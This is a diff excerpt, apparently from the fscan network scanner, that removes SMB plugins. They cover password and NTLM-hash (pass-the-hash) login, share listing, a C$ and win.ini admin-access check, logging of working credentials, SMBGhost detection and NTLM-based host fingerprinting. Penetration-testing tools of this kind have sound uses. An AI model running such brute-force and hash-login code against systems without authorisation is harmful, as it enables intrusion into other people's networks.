// logShareInfo 记录SMB共享信息
|
||||
func logShareInfo(info *fscanCommon.HostInfo, cred common.Credential, shares []string) {
|
||||
credential := cred.Password
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
credential = fscanCommon.HashValue
|
||||
}
|
||||
|
||||
// 保存共享信息结果
|
||||
result := &output.ScanResult{
|
||||
Time: time.Now(),
|
||||
Type: output.TypeVuln,
|
||||
Target: info.Host,
|
||||
Status: "shares-found",
|
||||
Details: map[string]interface{}{
|
||||
"port": info.Ports,
|
||||
"service": "smb2",
|
||||
"username": cred.Username,
|
||||
"domain": fscanCommon.Domain,
|
||||
"shares": shares,
|
||||
"credential": credential,
|
||||
"auth_type": map[bool]string{true: "hash", false: "password"}[cred.IsHash],
|
||||
},
|
||||
}
|
||||
fscanCommon.SaveResult(result)
|
||||
|
||||
// 控制台输出
|
||||
var msg string
|
||||
if fscanCommon.Domain != "" {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s",
|
||||
info.Host, info.Ports, fscanCommon.Domain, cred.Username)
|
||||
} else {
|
||||
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s",
|
||||
info.Host, info.Ports, cred.Username)
|
||||
}
|
||||
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
msg += fmt.Sprintf(" Hash:%s", fscanCommon.HashValue)
|
||||
} else {
|
||||
msg += fmt.Sprintf(" Pass:%s", cred.Password)
|
||||
}
|
||||
msg += fmt.Sprintf(" 共享:%v", shares)
|
||||
fscanCommon.LogBase(msg)
|
||||
}
|
@ -1,146 +0,0 @@
|
||||
package smb2
|
||||
|
||||
import (
|
||||
"context"
|
||||
"fmt"
|
||||
"os"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/plugins/legacy/smb/common"
|
||||
fscanCommon "github.com/shadow1ng/fscan/common"
|
||||
"github.com/hirochachacha/go-smb2"
|
||||
)
|
||||
|
||||
// Smb2Connector SMB2连接器实现
|
||||
type Smb2Connector struct{}
|
||||
|
||||
// NewSmb2Connector 创建SMB2连接器
|
||||
func NewSmb2Connector() *Smb2Connector {
|
||||
return &Smb2Connector{}
|
||||
}
|
||||
|
||||
// Connect 建立SMB2连接并进行认证
|
||||
func (c *Smb2Connector) Connect(ctx context.Context, target *common.TargetInfo,
|
||||
cred *common.Credential) (*common.ConnectionResult, error) {
|
||||
|
||||
// 建立TCP连接,使用socks代理支持
|
||||
conn, err := fscanCommon.WrapperTcpWithTimeout("tcp",
|
||||
fmt.Sprintf("%s:%d", target.Host, target.Port),
|
||||
time.Duration(fscanCommon.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return nil, fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 配置NTLM认证
|
||||
initiator := smb2.NTLMInitiator{
|
||||
User: cred.Username,
|
||||
Domain: target.Domain,
|
||||
}
|
||||
|
||||
// 设置认证方式(哈希或密码)
|
||||
if cred.IsHash && len(cred.Hash) > 0 {
|
||||
initiator.Hash = cred.Hash
|
||||
} else {
|
||||
initiator.Password = cred.Password
|
||||
}
|
||||
|
||||
// 创建SMB2会话
|
||||
dialer := &smb2.Dialer{
|
||||
Initiator: &initiator,
|
||||
}
|
||||
|
||||
// 建立会话
|
||||
session, err := dialer.Dial(conn)
|
||||
if err != nil {
|
||||
classifiedError := common.ClassifySmbError(err)
|
||||
return &common.ConnectionResult{
|
||||
Success: false,
|
||||
Error: classifiedError,
|
||||
}, nil
|
||||
}
|
||||
defer session.Logoff()
|
||||
|
||||
// 检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &common.ConnectionResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
}, nil
|
||||
default:
|
||||
}
|
||||
|
||||
// 获取共享列表
|
||||
shares, err := session.ListSharenames()
|
||||
if err != nil {
|
||||
return &common.ConnectionResult{
|
||||
Success: false,
|
||||
Error: fmt.Errorf("获取共享列表失败: %v", err),
|
||||
}, nil
|
||||
}
|
||||
|
||||
// 检查上下文是否已取消
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return &common.ConnectionResult{
|
||||
Success: false,
|
||||
Error: ctx.Err(),
|
||||
Shares: shares,
|
||||
}, nil
|
||||
default:
|
||||
}
|
||||
|
||||
// 尝试验证管理员权限
|
||||
hasAdminAccess := c.validateAdminAccess(ctx, session)
|
||||
|
||||
return &common.ConnectionResult{
|
||||
Success: true,
|
||||
Shares: shares,
|
||||
HasAdminAccess: hasAdminAccess,
|
||||
}, nil
|
||||
}
|
||||
|
||||
// GetProtocolName 获取协议名称
|
||||
func (c *Smb2Connector) GetProtocolName() string {
|
||||
return "SMB2"
|
||||
}
|
||||
|
||||
// GetDefaultPort 获取默认端口
|
||||
func (c *Smb2Connector) GetDefaultPort() int {
|
||||
return 445
|
||||
}
|
||||
|
||||
// validateAdminAccess 验证管理员权限
|
||||
func (c *Smb2Connector) validateAdminAccess(ctx context.Context, session *smb2.Session) bool {
|
||||
// 检查上下文
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
default:
|
||||
}
|
||||
|
||||
// 尝试挂载C$共享
|
||||
fs, err := session.Mount("C$")
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer fs.Umount()
|
||||
|
||||
// 检查上下文
|
||||
select {
|
||||
case <-ctx.Done():
|
||||
return false
|
||||
default:
|
||||
}
|
||||
|
||||
// 尝试读取系统文件以验证权限
|
||||
path := `Windows\win.ini`
|
||||
f, err := fs.OpenFile(path, os.O_RDONLY, 0666)
|
||||
if err != nil {
|
||||
return false
|
||||
}
|
||||
defer f.Close()
|
||||
|
||||
return true
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package smb2
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewSmb2Plugin 创建SMB2弱密码检测插件
|
||||
func NewSmb2Plugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smb2",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB2服务弱密码检测和共享枚举 (支持NTLM哈希)",
|
||||
Category: "service",
|
||||
Ports: []int{445}, // SMB2端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb2", "weak-password", "service", "brute-force", "ntlm"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: true, // SMB2依赖暴力破解标志
|
||||
IsVulnPlugin: false, // 这是服务检测插件,不是漏洞检测
|
||||
IsInfoPlugin: true, // 包含信息收集功能
|
||||
CustomPorts: []int{445}, // SMB2端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的SmbScan2函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbScan2, options)
|
||||
}
|
||||
|
||||
// init 自动注册SMB2插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smb2",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMB2服务弱密码检测和共享枚举 (支持NTLM哈希)",
|
||||
Category: "service",
|
||||
Ports: []int{445},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb2", "weak-password", "service", "brute-force", "ntlm"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewSmb2Plugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("smb2", factory)
|
||||
}
|
@ -1,54 +0,0 @@
|
||||
package smbghost
|
||||
|
||||
import (
|
||||
"github.com/shadow1ng/fscan/plugins/adapters"
|
||||
"github.com/shadow1ng/fscan/plugins/base"
|
||||
LegacyPlugins "github.com/shadow1ng/fscan/plugins/legacy"
|
||||
)
|
||||
|
||||
// NewSmbGhostPlugin 创建SMBGhost漏洞检测插件
|
||||
func NewSmbGhostPlugin() base.Plugin {
|
||||
// 插件元数据
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smbghost",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMBGhost (CVE-2020-0796) 远程代码执行漏洞检测",
|
||||
Category: "service",
|
||||
Ports: []int{445}, // SMB端口
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "smbghost", "cve-2020-0796", "vulnerability"},
|
||||
}
|
||||
|
||||
// 适配器选项
|
||||
options := &adapters.LegacyPluginOptions{
|
||||
CheckBruteFlag: false, // SMBGhost不依赖暴力破解标志
|
||||
IsVulnPlugin: true, // 这是漏洞检测插件
|
||||
IsInfoPlugin: false,
|
||||
CustomPorts: []int{445}, // 固定使用SMB端口
|
||||
}
|
||||
|
||||
// 创建适配器,直接使用老版本的SmbGhost函数
|
||||
return adapters.NewLegacyPlugin(metadata, LegacyPlugins.SmbGhost, options)
|
||||
}
|
||||
|
||||
// init 自动注册SmbGhost插件
|
||||
func init() {
|
||||
// 创建插件工厂
|
||||
metadata := &base.PluginMetadata{
|
||||
Name: "smbghost",
|
||||
Version: "1.0.0",
|
||||
Author: "fscan-team",
|
||||
Description: "SMBGhost (CVE-2020-0796) 远程代码执行漏洞检测",
|
||||
Category: "service",
|
||||
Ports: []int{445},
|
||||
Protocols: []string{"tcp"},
|
||||
Tags: []string{"smb", "smbghost", "cve-2020-0796", "vulnerability"},
|
||||
}
|
||||
|
||||
factory := base.NewSimplePluginFactory(metadata, func() base.Plugin {
|
||||
return NewSmbGhostPlugin()
|
||||
})
|
||||
|
||||
base.GlobalPluginRegistry.Register("smbghost", factory)
|
||||
}
|
@ -1,701 +0,0 @@
|
||||
package Plugins
|
||||
|
||||
import (
|
||||
"bytes"
|
||||
"encoding/hex"
|
||||
"fmt"
|
||||
"net"
|
||||
"strings"
|
||||
"time"
|
||||
|
||||
"github.com/shadow1ng/fscan/common"
|
||||
"github.com/shadow1ng/fscan/common/output"
|
||||
)
|
||||
|
||||
// SMBInfo 主函数 - 基于最原始参考代码实现
|
||||
func SMBInfo(info *common.HostInfo) error {
|
||||
if info.Ports != "445" && info.Ports != "139" {
|
||||
return fmt.Errorf("SMBInfo插件仅支持139和445端口")
|
||||
}
|
||||
|
||||
realhost := fmt.Sprintf("%s:%s", info.Host, info.Ports)
|
||||
conn, err := net.DialTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
return fmt.Errorf("连接失败: %v", err)
|
||||
}
|
||||
defer conn.Close()
|
||||
|
||||
// 发送SMBv1第一个协商包
|
||||
_, err = conn.Write(SMBInfoNegotiateSMBv1Data1)
|
||||
if err != nil {
|
||||
return fmt.Errorf("发送SMBv1协商包失败: %v", err)
|
||||
}
|
||||
|
||||
r1, err := ReadBytes(conn)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv1协商响应失败: %v", err))
|
||||
}
|
||||
|
||||
var result string
|
||||
|
||||
// ff534d42 SMBv1的标示
|
||||
// fe534d42 SMBv2的标示
|
||||
// 先发送探测SMBv1的payload,不支持的SMBv1的时候返回为空,然后尝试发送SMBv2的探测数据包
|
||||
if len(r1) > 0 {
|
||||
// SMBv1 路径
|
||||
result = handleSMBv1(conn, info)
|
||||
} else {
|
||||
// SMBv2 路径
|
||||
result = handleSMBv2(realhost, info)
|
||||
}
|
||||
|
||||
// 显示和保存结果
|
||||
if result != "" {
|
||||
displaySMBInfo(info, result, len(r1) > 0)
|
||||
saveSMBInfo(info, result)
|
||||
} else {
|
||||
// 即使没有详细信息也显示基本连接信息
|
||||
displayBasicSMBInfo(info)
|
||||
}
|
||||
|
||||
return nil
|
||||
}
|
||||
|
||||
// handleSMBv1 处理SMBv1协议
|
||||
func handleSMBv1(conn net.Conn, info *common.HostInfo) string {
|
||||
// 发送第二个SMBv1包
|
||||
_, err := conn.Write(SMBInfoNegotiateSMBv1Data2)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("发送SMBv1 Session Setup失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
ret, err := ReadBytes(conn)
|
||||
if err != nil || len(ret) < 45 {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv1 Session Setup响应失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
// 解析blob信息
|
||||
blob_length := uint16(bytesToUint16(ret[43:45]))
|
||||
blob_count := uint16(bytesToUint16(ret[45:47]))
|
||||
|
||||
if int(blob_count) > len(ret) {
|
||||
common.LogDebug("blob_count超出数据范围")
|
||||
return ""
|
||||
}
|
||||
|
||||
gss_native := ret[47:]
|
||||
off_ntlm := bytes.Index(gss_native, []byte("NTLMSSP"))
|
||||
if off_ntlm == -1 {
|
||||
common.LogDebug("未找到NTLMSSP数据")
|
||||
return ""
|
||||
}
|
||||
|
||||
// 提取native OS和LM信息
|
||||
native := gss_native[int(blob_length):blob_count]
|
||||
ss := strings.Split(string(native), "\x00\x00")
|
||||
|
||||
var nativeOS, nativeLM string
|
||||
if len(ss) > 0 {
|
||||
nativeOS = trimName(ss[0])
|
||||
}
|
||||
if len(ss) > 1 {
|
||||
nativeLM = trimName(ss[1])
|
||||
}
|
||||
|
||||
// 解析NTLM信息
|
||||
bs := gss_native[off_ntlm:blob_length]
|
||||
ntlmInfo := parseNTLMChallenge(bs)
|
||||
|
||||
// 组合结果
|
||||
result := ntlmInfo
|
||||
if nativeOS != "" {
|
||||
result += fmt.Sprintf("NativeOS: %s\n", nativeOS)
|
||||
}
|
||||
if nativeLM != "" {
|
||||
result += fmt.Sprintf("NativeLM: %s\n", nativeLM)
|
||||
}
|
||||
|
||||
return result
|
||||
}
|
||||
|
||||
// handleSMBv2 处理SMBv2协议
|
||||
func handleSMBv2(realhost string, info *common.HostInfo) string {
|
||||
conn2, err := net.DialTimeout("tcp", realhost, time.Duration(common.Timeout)*time.Second)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("SMBv2连接失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
defer conn2.Close()
|
||||
|
||||
// 发送SMBv2第一个协商包
|
||||
_, err = conn2.Write(SMBInfoNegotiateSMBv2Data1)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("发送SMBv2协商包失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
r2, err := ReadBytes(conn2)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv2协商响应失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
// 根据响应构建NTLM数据包
|
||||
var ntlmSSPNegotiatev2Data []byte
|
||||
if len(r2) > 70 && hex.EncodeToString(r2[70:71]) == "03" {
|
||||
flags := []byte{0x15, 0x82, 0x08, 0xa0}
|
||||
ntlmSSPNegotiatev2Data = getNTLMSSPNegotiateData(flags)
|
||||
} else {
|
||||
flags := []byte{0x05, 0x80, 0x08, 0xa0}
|
||||
ntlmSSPNegotiatev2Data = getNTLMSSPNegotiateData(flags)
|
||||
}
|
||||
|
||||
// 发送第二个SMBv2包
|
||||
_, err = conn2.Write(SMBInfoNegotiateSMBv2Data2)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("发送SMBv2第二包失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
_, err = ReadBytes(conn2)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv2第二包响应失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
// 发送NTLM协商包
|
||||
_, err = conn2.Write(ntlmSSPNegotiatev2Data)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("发送SMBv2 NTLM包失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
ret, err := ReadBytes(conn2)
|
||||
if err != nil {
|
||||
common.LogDebug(fmt.Sprintf("读取SMBv2 NTLM响应失败: %v", err))
|
||||
return ""
|
||||
}
|
||||
|
||||
ntlmOff := bytes.Index(ret, []byte("NTLMSSP"))
|
||||
if ntlmOff == -1 {
|
||||
common.LogDebug("SMBv2响应中未找到NTLMSSP数据")
|
||||
return ""
|
||||
}
|
||||
|
||||
return parseNTLMChallenge(ret[ntlmOff:])
|
||||
}
|
||||
|
||||
// 原始参考代码中的数据包定义
|
||||
var SMBInfoNegotiateSMBv1Data1 = []byte{
|
||||
0x00, 0x00, 0x00, 0x85, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00, 0x00, 0x00, 0x00, 0x18, 0x53, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x62, 0x00, 0x02, 0x50, 0x43, 0x20, 0x4E, 0x45, 0x54, 0x57, 0x4F,
|
||||
0x52, 0x4B, 0x20, 0x50, 0x52, 0x4F, 0x47, 0x52, 0x41, 0x4D, 0x20, 0x31, 0x2E, 0x30, 0x00, 0x02,
|
||||
0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x31, 0x2E, 0x30, 0x00, 0x02, 0x57, 0x69, 0x6E, 0x64, 0x6F,
|
||||
0x77, 0x73, 0x20, 0x66, 0x6F, 0x72, 0x20, 0x57, 0x6F, 0x72, 0x6B, 0x67, 0x72, 0x6F, 0x75, 0x70,
|
||||
0x73, 0x20, 0x33, 0x2E, 0x31, 0x61, 0x00, 0x02, 0x4C, 0x4D, 0x31, 0x2E, 0x32, 0x58, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x4C, 0x41, 0x4E, 0x4D, 0x41, 0x4E, 0x32, 0x2E, 0x31, 0x00, 0x02, 0x4E, 0x54,
|
||||
0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32, 0x00,
|
||||
}
|
||||
|
||||
var SMBInfoNegotiateSMBv1Data2 = []byte{
|
||||
0x00, 0x00, 0x01, 0x0A, 0xFF, 0x53, 0x4D, 0x42, 0x73, 0x00, 0x00, 0x00, 0x00, 0x18, 0x07, 0xC8,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFE,
|
||||
0x00, 0x00, 0x40, 0x00, 0x0C, 0xFF, 0x00, 0x0A, 0x01, 0x04, 0x41, 0x32, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x4A, 0x00, 0x00, 0x00, 0x00, 0x00, 0xD4, 0x00, 0x00, 0xA0, 0xCF, 0x00, 0x60,
|
||||
0x48, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05, 0x05, 0x02, 0xA0, 0x3E, 0x30, 0x3C, 0xA0, 0x0E, 0x30,
|
||||
0x0C, 0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02, 0x02, 0x0A, 0xA2, 0x2A, 0x04,
|
||||
0x28, 0x4E, 0x54, 0x4C, 0x4D, 0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00, 0x07, 0x82, 0x08,
|
||||
0xA2, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x05, 0x02, 0xCE, 0x0E, 0x00, 0x00, 0x00, 0x0F, 0x00, 0x57, 0x00, 0x69, 0x00, 0x6E, 0x00,
|
||||
0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00, 0x72, 0x00,
|
||||
0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00, 0x33, 0x00,
|
||||
0x20, 0x00, 0x33, 0x00, 0x37, 0x00, 0x39, 0x00, 0x30, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x69, 0x00, 0x63, 0x00, 0x65, 0x00, 0x20, 0x00, 0x50, 0x00, 0x61, 0x00,
|
||||
0x63, 0x00, 0x6B, 0x00, 0x20, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00, 0x57, 0x00, 0x69, 0x00,
|
||||
0x6E, 0x00, 0x64, 0x00, 0x6F, 0x00, 0x77, 0x00, 0x73, 0x00, 0x20, 0x00, 0x53, 0x00, 0x65, 0x00,
|
||||
0x72, 0x00, 0x76, 0x00, 0x65, 0x00, 0x72, 0x00, 0x20, 0x00, 0x32, 0x00, 0x30, 0x00, 0x30, 0x00,
|
||||
0x33, 0x00, 0x20, 0x00, 0x35, 0x00, 0x2E, 0x00, 0x32, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
|
||||
var SMBInfoNegotiateSMBv2Data1 = []byte{
|
||||
0x00, 0x00, 0x00, 0x45, 0xFF, 0x53, 0x4D, 0x42, 0x72, 0x00,
|
||||
0x00, 0x00, 0x00, 0x18, 0x01, 0x48, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF,
|
||||
0xAC, 0x03, 0x00, 0x00, 0x00, 0x00, 0x00, 0x22, 0x00, 0x02,
|
||||
0x4E, 0x54, 0x20, 0x4C, 0x4D, 0x20, 0x30, 0x2E, 0x31, 0x32,
|
||||
0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x30, 0x30,
|
||||
0x32, 0x00, 0x02, 0x53, 0x4D, 0x42, 0x20, 0x32, 0x2E, 0x3F,
|
||||
0x3F, 0x3F, 0x00,
|
||||
}
|
||||
|
||||
var SMBInfoNegotiateSMBv2Data2 = []byte{
|
||||
0x00, 0x00, 0x00, 0x68, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x24, 0x00,
|
||||
0x02, 0x00, 0x01, 0x00, 0x00, 0x00, 0x40, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x02, 0x02, 0x10, 0x02,
|
||||
}
|
||||
|
||||
func getNTLMSSPNegotiateData(flags []byte) []byte {
|
||||
return []byte{
|
||||
0x00, 0x00, 0x00, 0x9A, 0xFE, 0x53, 0x4D, 0x42, 0x40, 0x00,
|
||||
0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x02, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x19, 0x00,
|
||||
0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x58, 0x00, 0x42, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x60, 0x40, 0x06, 0x06, 0x2B, 0x06, 0x01, 0x05,
|
||||
0x05, 0x02, 0xA0, 0x36, 0x30, 0x34, 0xA0, 0x0E, 0x30, 0x0C,
|
||||
0x06, 0x0A, 0x2B, 0x06, 0x01, 0x04, 0x01, 0x82, 0x37, 0x02,
|
||||
0x02, 0x0A, 0xA2, 0x22, 0x04, 0x20, 0x4E, 0x54, 0x4C, 0x4D,
|
||||
0x53, 0x53, 0x50, 0x00, 0x01, 0x00, 0x00, 0x00,
|
||||
flags[0], flags[1], flags[2], flags[3],
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
|
||||
}
|
||||
}
|
||||
|
||||
// 辅助函数
|
||||
func bytesToUint16(b []byte) uint16 {
|
||||
return uint16(b[0]) | uint16(b[1])<<8
|
||||
}
|
||||
|
||||
func trimName(s string) string {
|
||||
return strings.Trim(strings.TrimSpace(s), "\x00")
|
||||
}
|
||||
|
||||
// NTLM AV_PAIR类型常量
|
||||
const (
|
||||
MsvAvEOL = 0x0000 // End of list
|
||||
MsvAvNbComputerName = 0x0001 // NetBIOS computer name
|
||||
MsvAvNbDomainName = 0x0002 // NetBIOS domain name
|
||||
MsvAvDnsComputerName = 0x0003 // DNS computer name
|
||||
MsvAvDnsDomainName = 0x0004 // DNS domain name
|
||||
MsvAvDnsTreeName = 0x0005 // DNS forest name
|
||||
MsvAvFlags = 0x0006 // Server flags
|
||||
MsvAvTimestamp = 0x0007 // Server timestamp
|
||||
MsvAvSingleHost = 0x0008 // Single host data
|
||||
MsvAvTargetName = 0x0009 // Target name
|
||||
MsvAvChannelBindings = 0x000A // Channel bindings
|
||||
)
|
||||
|
||||
// parseNTLMChallenge 解析NTLM Type 2 (Challenge) 消息
|
||||
func parseNTLMChallenge(data []byte) string {
|
||||
if len(data) < 32 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var result strings.Builder
|
||||
|
||||
// 检查NTLM签名 "NTLMSSP\x00"
|
||||
if !bytes.Equal(data[0:8], []byte("NTLMSSP\x00")) {
|
||||
return ""
|
||||
}
|
||||
|
||||
// 检查消息类型 (应该是 Type 2 = 0x00000002)
|
||||
if len(data) < 12 {
|
||||
return ""
|
||||
}
|
||||
messageType := bytesToUint32(data[8:12])
|
||||
if messageType != 2 {
|
||||
common.LogDebug(fmt.Sprintf("非Type 2 NTLM消息, 类型: %d", messageType))
|
||||
return ""
|
||||
}
|
||||
|
||||
result.WriteString("Protocol: NTLM Type 2 (Challenge)\n")
|
||||
|
||||
// 解析Target Name (偏移12-20, 8字节的Security Buffer)
|
||||
if len(data) >= 20 {
|
||||
targetLength := bytesToUint16(data[12:14])
|
||||
targetOffset := bytesToUint32(data[16:20])
|
||||
|
||||
if targetLength > 0 && int(targetOffset) < len(data) && int(targetOffset+uint32(targetLength)) <= len(data) {
|
||||
targetName := parseUnicodeString(data[targetOffset:targetOffset+uint32(targetLength)])
|
||||
if targetName != "" {
|
||||
result.WriteString(fmt.Sprintf("Target Name: %s\n", targetName))
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// 解析Flags (偏移20-24)
|
||||
if len(data) >= 24 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
parseNTLMFlags(flags, &result)
|
||||
}
|
||||
|
||||
// 解析Challenge (偏移24-32, 8字节)
|
||||
if len(data) >= 32 {
|
||||
challenge := data[24:32]
|
||||
result.WriteString(fmt.Sprintf("Server Challenge: %s\n", hex.EncodeToString(challenge)))
|
||||
}
|
||||
|
||||
// 解析Target Info (AV_PAIR结构) - 偏移44开始的Security Buffer
|
||||
if len(data) >= 52 {
|
||||
targetInfoLength := bytesToUint16(data[40:42])
|
||||
targetInfoOffset := bytesToUint32(data[44:48])
|
||||
|
||||
if targetInfoLength > 0 && int(targetInfoOffset) < len(data) &&
|
||||
int(targetInfoOffset+uint32(targetInfoLength)) <= len(data) {
|
||||
targetInfoData := data[targetInfoOffset:targetInfoOffset+uint32(targetInfoLength)]
|
||||
parseTargetInfo(targetInfoData, &result)
|
||||
}
|
||||
}
|
||||
|
||||
// 解析OS版本信息 (如果存在, 偏移48-56)
|
||||
if len(data) >= 56 {
|
||||
// 检查是否包含版本信息 (通过flags判断)
|
||||
if len(data) >= 24 {
|
||||
flags := bytesToUint32(data[20:24])
|
||||
// NTLMSSP_NEGOTIATE_VERSION = 0x02000000
|
||||
if flags&0x02000000 != 0 && len(data) >= 56 {
|
||||
parseOSVersion(data[48:56], &result)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return result.String()
|
||||
}
|
||||
|
||||
// parseUnicodeString 解析UTF-16LE编码的字符串
|
||||
func parseUnicodeString(data []byte) string {
|
||||
if len(data)%2 != 0 {
|
||||
return ""
|
||||
}
|
||||
|
||||
var runes []rune
|
||||
for i := 0; i < len(data); i += 2 {
|
||||
if i+1 >= len(data) {
|
||||
break
|
||||
}
|
||||
// UTF-16LE: 低字节在前
|
||||
r := uint16(data[i]) | uint16(data[i+1])<<8
|
||||
if r == 0 {
|
||||
break
|
||||
}
|
||||
runes = append(runes, rune(r))
|
||||
}
|
||||
return string(runes)
|
||||
}
|
||||
|
||||
